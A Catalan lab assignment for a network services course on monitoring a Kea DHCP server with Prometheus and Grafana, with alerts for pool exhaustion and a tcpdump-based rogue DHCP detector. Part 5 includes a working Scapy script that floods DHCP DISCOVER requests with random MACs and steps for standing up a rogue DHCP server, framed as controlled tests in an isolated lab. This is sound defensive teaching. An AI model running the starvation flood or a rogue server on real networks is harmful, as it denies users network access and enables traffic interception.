PR0202 — Monitorització del Servei DHCP amb Grafana i Detecció d'Amenaces
Informació de la pràctica
| Camp | Valor |
|---|---|
| Codi | PR0202 |
| Mòdul | M0375 — Serveis de Xarxa i Internet |
| RA | RA2 — Configuració Automàtica de Xarxa (DHCP) |
| Durada estimada | 4-5 hores |
| Modalitat | Individual |
| Lliurament | Fitxers de configuració + PDF (documentació) a Moodle |
| Qualificació | 10 punts (rúbrica adjunta) |
Objectius
- Desplegar un stack de monitorització (Prometheus + Grafana) amb Docker per observar l'estat del servidor Kea desplegat a PR0201.
- Exportar mètriques reals de Kea (ocupació del pool, concessions actives) amb kea-exporter.
- Crear un dashboard de Grafana amb l'ocupació del pool DHCP en temps real.
- Configurar una alerta d'esgotament de pool (DHCP Starvation), seguint el llindar del 90% documentat a Ciberseguretat DHCP.
- Implementar un detector de servidors DHCP no autoritzats (Rogue DHCP Server), també documentat a la mateixa pàgina, i integrar-lo com a mètrica monitoritzada.
- Provar els dos mecanismes de detecció en un entorn de laboratori aïllat, simulant els atacs de manera controlada.
Requisits previs
- Haver completat PR0201 — Servei DHCP Corporatiu amb Kea: servidor
kea-serveroperatiu amb el vostre rang192.168.XX.0/24. - Haver llegit Possibles atacs contra Serveis DHCP, en particular els apartats 1. DHCP Starvation i 2. Rogue DHCP Server.
- Docker Desktop (o Docker Engine + Compose Plugin) instal·lat en una màquina amb accés de xarxa al
kea-server(pot ser la mateixa VM o una de nova). - Python 3 i
pipa la màquinakea-server(per instal·larkea-exporteri l'script de detecció).
Ús exclusiu en entorn de laboratori aïllat
Aquesta pràctica inclou la simulació d'atacs de starvation i d'un servidor DHCP no autoritzat. Feu-ho únicament dins de la vostra xarxa privada de laboratori (192.168.XX.0/24), mai en una xarxa de producció o compartida amb altres companys. Simular aquests atacs fora del vostre entorn aïllat es considera una falta greu.
Personalització obligatòria
Utilitzeu el mateix XX (100 + N, número de llista) i NOMCOGNOM que a PR0201 arreu d'aquesta pràctica.
Part 1: Exportador de Mètriques Kea (45 minuts)
Kea no exposa mètriques en format Prometheus de forma nativa, però l'API REST de kea-ctrl-agent sí que dona accés a estadístiques (statistic-get-all). Utilitzarem kea-exporter, un exportador Prometheus de codi obert que tradueix aquestes estadístiques.
A la màquina kea-server:
Comproveu manualment que l'API de Kea respon abans de continuar:
curl -X POST -H "Content-Type: application/json" \
-d '{"command": "statistic-get-all", "service": ["dhcp4"]}' \
http://192.168.XX.10:8000/
Creeu un servei systemd perquè kea-exporter s'executi de forma persistent, /etc/systemd/system/kea-exporter.service:
[Unit]
Description=Kea Prometheus Exporter - NOMCOGNOM
After=network.target kea-dhcp4-server.service
[Service]
ExecStart=/usr/local/bin/kea-exporter http://192.168.XX.10:8000
Restart=always
User=nobody
[Install]
WantedBy=multi-user.target
sudo systemctl daemon-reload
sudo systemctl enable --now kea-exporter
sudo systemctl status kea-exporter
curl http://192.168.XX.10:9547/metrics | grep kea_dhcp4_subnet
Documenteu: captura de curl .../metrics mostrant almenys les mètriques kea_dhcp4_subnet_total_addresses i kea_dhcp4_subnet_assigned_addresses.
Part 2: Stack de Monitorització amb Docker (1 hora)
Creeu l'estructura del projecte de monitorització:
prometheus/prometheus.yml:
global:
scrape_interval: 15s
rule_files:
- "alert-rules.yml"
scrape_configs:
- job_name: 'kea-dhcp-NOMCOGNOM'
static_configs:
- targets: ['192.168.XX.10:9547']
- job_name: 'rogue-detector-NOMCOGNOM'
static_configs:
- targets: ['192.168.XX.10:9101']
docker-compose.yml:
services:
prometheus:
image: prom/prometheus:v2.55.1
container_name: prometheus-NOMCOGNOM
volumes:
- ./prometheus/prometheus.yml:/etc/prometheus/prometheus.yml
- ./prometheus/alert-rules.yml:/etc/prometheus/alert-rules.yml
ports:
- "9090:9090"
networks:
- monitor-network
grafana:
image: grafana/grafana:11.3.0
container_name: grafana-NOMCOGNOM
ports:
- "3000:3000"
environment:
- GF_SECURITY_ADMIN_PASSWORD=NOMCOGNOM2026!
volumes:
- grafana-data:/var/lib/grafana
networks:
- monitor-network
depends_on:
- prometheus
networks:
monitor-network:
driver: bridge
volumes:
grafana-data:
Aixequeu el stack:
Accediu a Prometheus (http://localhost:9090/targets) i comproveu que els dos jobs (kea-dhcp-NOMCOGNOM i rogue-detector-NOMCOGNOM) apareixen — el segon encara estarà DOWN fins a la Part 4.
Documenteu: captura de docker compose ps amb els dos contenidors Up, i captura de la pàgina /targets de Prometheus.
Part 3: Dashboard de Grafana i Alerta d'Esgotament de Pool (1 hora)
Accediu a Grafana (http://localhost:3000, usuari admin) i afegiu Prometheus com a datasource (http://prometheus:9090).
Creeu un dashboard amb, com a mínim, aquests panells:
- Ocupació del pool (%):
(kea_dhcp4_subnet_assigned_addresses / kea_dhcp4_subnet_total_addresses) * 100 - Concessions actives (comptador):
kea_dhcp4_subnet_assigned_addresses - Adreces totals del pool:
kea_dhcp4_subnet_total_addresses
Ara configureu l'alerta d'esgotament de pool a prometheus/alert-rules.yml. Aquest llindar reprodueix directament el que descriu Ciberseguretat DHCP § Monitorització i Logging Avançat (script SNMP amb llindar del 90%):
groups:
- name: dhcp_alerts_NOMCOGNOM
rules:
- alert: DHCPPoolExhaustionWarning
expr: (kea_dhcp4_subnet_assigned_addresses / kea_dhcp4_subnet_total_addresses) * 100 > 90
for: 1m
labels:
severity: critical
annotations:
summary: "Pool DHCP NOMCOGNOM a punt d'esgotar-se"
description: "Ocupació del pool per sobre del 90% durant més d'1 minut — possible DHCP Starvation."
Reinicieu Prometheus perquè carregui la regla:
Comproveu la regla a http://localhost:9090/alerts (estat Inactive mentre el pool no estigui esgotat).
Documenteu: captura del dashboard de Grafana amb els 3 panells mostrant dades reals, i captura de la regla d'alerta a /alerts en estat Inactive.
Part 4: Detector de Servidors DHCP No Autoritzats (1 hora)
Aquest apartat implementa, en forma de mètrica Prometheus real, l'script de detecció de rogue DHCP descrit a Ciberseguretat DHCP § Rogue DHCP Server.
A la màquina kea-server, instal·leu la llibreria necessària:
Creeu /usr/local/bin/detect_rogue_dhcp.py:
#!/usr/bin/env python3
"""Detector de servidors DHCP no autoritzats basat en tcpdump."""
import re
import subprocess
from prometheus_client import start_http_server, Gauge
LEGITIMATE_SERVER = "192.168.XX.10"
INTERFACE = "eth0"
LOG_FILE = "/var/log/dhcp-rogue.log"
rogue_metric = Gauge(
"dhcp_rogue_server_detected",
"Servidor DHCP no autoritzat detectat (1=si, 0=no)"
)
def log_alert(server_ip):
with open(LOG_FILE, "a") as f:
f.write(f"[ALERT] Rogue DHCP detected from {server_ip}\n")
print(f"[ALERT] Rogue DHCP detected from {server_ip}")
def monitor():
proc = subprocess.Popen(
["tcpdump", "-i", INTERFACE, "-l", "-n", "port", "67", "or", "port", "68"],
stdout=subprocess.PIPE, stderr=subprocess.DEVNULL, text=True
)
for line in proc.stdout:
if "BOOTP/DHCP, Reply" in line or "DHCP-Message Option 53, length 1: Offer" in line:
ips = re.findall(r"\d+\.\d+\.\d+\.\d+", line)
if ips and ips[0] != LEGITIMATE_SERVER:
rogue_metric.set(1)
log_alert(ips[0])
if __name__ == "__main__":
start_http_server(9101)
monitor()
Executeu-lo com a servei (requereix privilegis per tcpdump):
sudo python3 /usr/local/bin/detect_rogue_dhcp.py &
curl http://192.168.XX.10:9101/metrics | grep dhcp_rogue
Afegiu l'alerta corresponent a prometheus/alert-rules.yml:
- alert: RogueDHCPServerDetected
expr: dhcp_rogue_server_detected == 1
for: 0m
labels:
severity: critical
annotations:
summary: "Servidor DHCP no autoritzat detectat a la xarxa NOMCOGNOM"
Documenteu: captura de curl .../metrics amb dhcp_rogue_server_detected 0 (sense atac encara).
Part 5: Prova Controlada dels Dos Escenaris d'Atac (45 minuts)
Recordatori
Realitzeu aquestes proves exclusivament dins de 192.168.XX.0/24, la vostra xarxa aïllada de laboratori.
5.1 Simulació de DHCP Starvation
Des d'una màquina atacant (o la mateixa kea-server si no en teniu una altra) genereu un flood de sol·licituds DISCOVER amb MACs aleatòries:
#!/usr/bin/env python3
# starvation_test.py — ÚS EXCLUSIU EN LABORATORI AÏLLAT
from scapy.all import *
import random
def random_mac():
return "02:%02x:%02x:%02x:%02x:%02x" % tuple(random.randint(0, 255) for _ in range(5))
for i in range(150):
mac = random_mac()
dhcp_discover = (Ether(src=mac, dst="ff:ff:ff:ff:ff:ff") /
IP(src="0.0.0.0", dst="255.255.255.255") /
UDP(sport=68, dport=67) /
BOOTP(chaddr=bytes.fromhex(mac.replace(":", "")), xid=random.randint(1, 2**32-1)) /
DHCP(options=[("message-type", "discover"), "end"]))
sendp(dhcp_discover, verbose=0)
print("150 peticions DISCOVER enviades")
Observeu el dashboard de Grafana: el panell d'ocupació del pool hauria de pujar ràpidament. Comproveu a http://localhost:9090/alerts que DHCPPoolExhaustionWarning passa a Firing quan se supera el 90%.
Documenteu: captura del dashboard mostrant la pujada d'ocupació i captura de l'alerta en estat Firing.
5.2 Simulació d'un Servidor DHCP No Autoritzat
En una segona màquina virtual dins la mateixa xarxa 192.168.XX.0/24, instal·leu un servidor DHCP diferent (per exemple isc-dhcp-server o dnsmasq) amb una configuració mínima que respongui al mateix segment:
/etc/dnsmasq.conf (versió mínima, IP diferent de la del kea-server):
Des d'un client, força una renovació DHCP (o simplement espereu que el detector capturi el trànsit). Comproveu:
Documenteu: captura del log /var/log/dhcp-rogue.log amb l'alerta i captura de la mètrica dhcp_rogue_server_detected 1. Un cop finalitzada la prova, atureu i desinstal·leu el servidor DHCP no autoritzat.
Qüestions
Responeu al document de lliurament:
- Per què cal utilitzar un llindar (90%) enlloc d'alertar directament al 100% d'ocupació del pool?
- Quina limitació té el vostre detector de rogue DHCP (basat en
tcpdump) comparat amb DHCP Snooping a nivell de switch, tal com es descriu a Ciberseguretat DHCP? - Si haguéssiu de desplegar aquesta monitorització a producció, quins altres atacs de la pàgina de ciberseguretat (Option Injection, Relay Attacks, Fingerprinting) us agradaria també monitoritzar, i amb quina mètrica ho faríeu?
- Quines accions immediates (contenció) prendríeu si l'alerta
RogueDHCPServerDetectedes dispara en un entorn real?
Lliurament
- Fitxers de configuració:
docker-compose.yml,prometheus/prometheus.yml,prometheus/alert-rules.yml,kea-exporter.service,detect_rogue_dhcp.py. - Documentació PDF amb:
- Captures de cada part (1 a 5)
- Respostes a les 4 qüestions
- Captures de les dues alertes en estat
Firingdurant les proves controlades - README.md amb instruccions de desplegament del stack de monitorització.
Criteris d'Avaluació
Consulteu la rúbrica detallada per a la puntuació completa (10 punts, 5 blocs + penalitzacions).
Recursos Addicionals
- Ciberseguretat DHCP — atacs i contramesures de referència d'aquesta pràctica.
- kea-exporter (PyPI): https://pypi.org/project/kea-exporter/
- Prometheus Alerting Rules: https://prometheus.io/docs/prometheus/latest/configuration/alerting_rules/
- Grafana Documentation: https://grafana.com/docs/
Data de creació: Juliol 2026 Autor: Curs M0375 - Serveis de Xarxa i Internet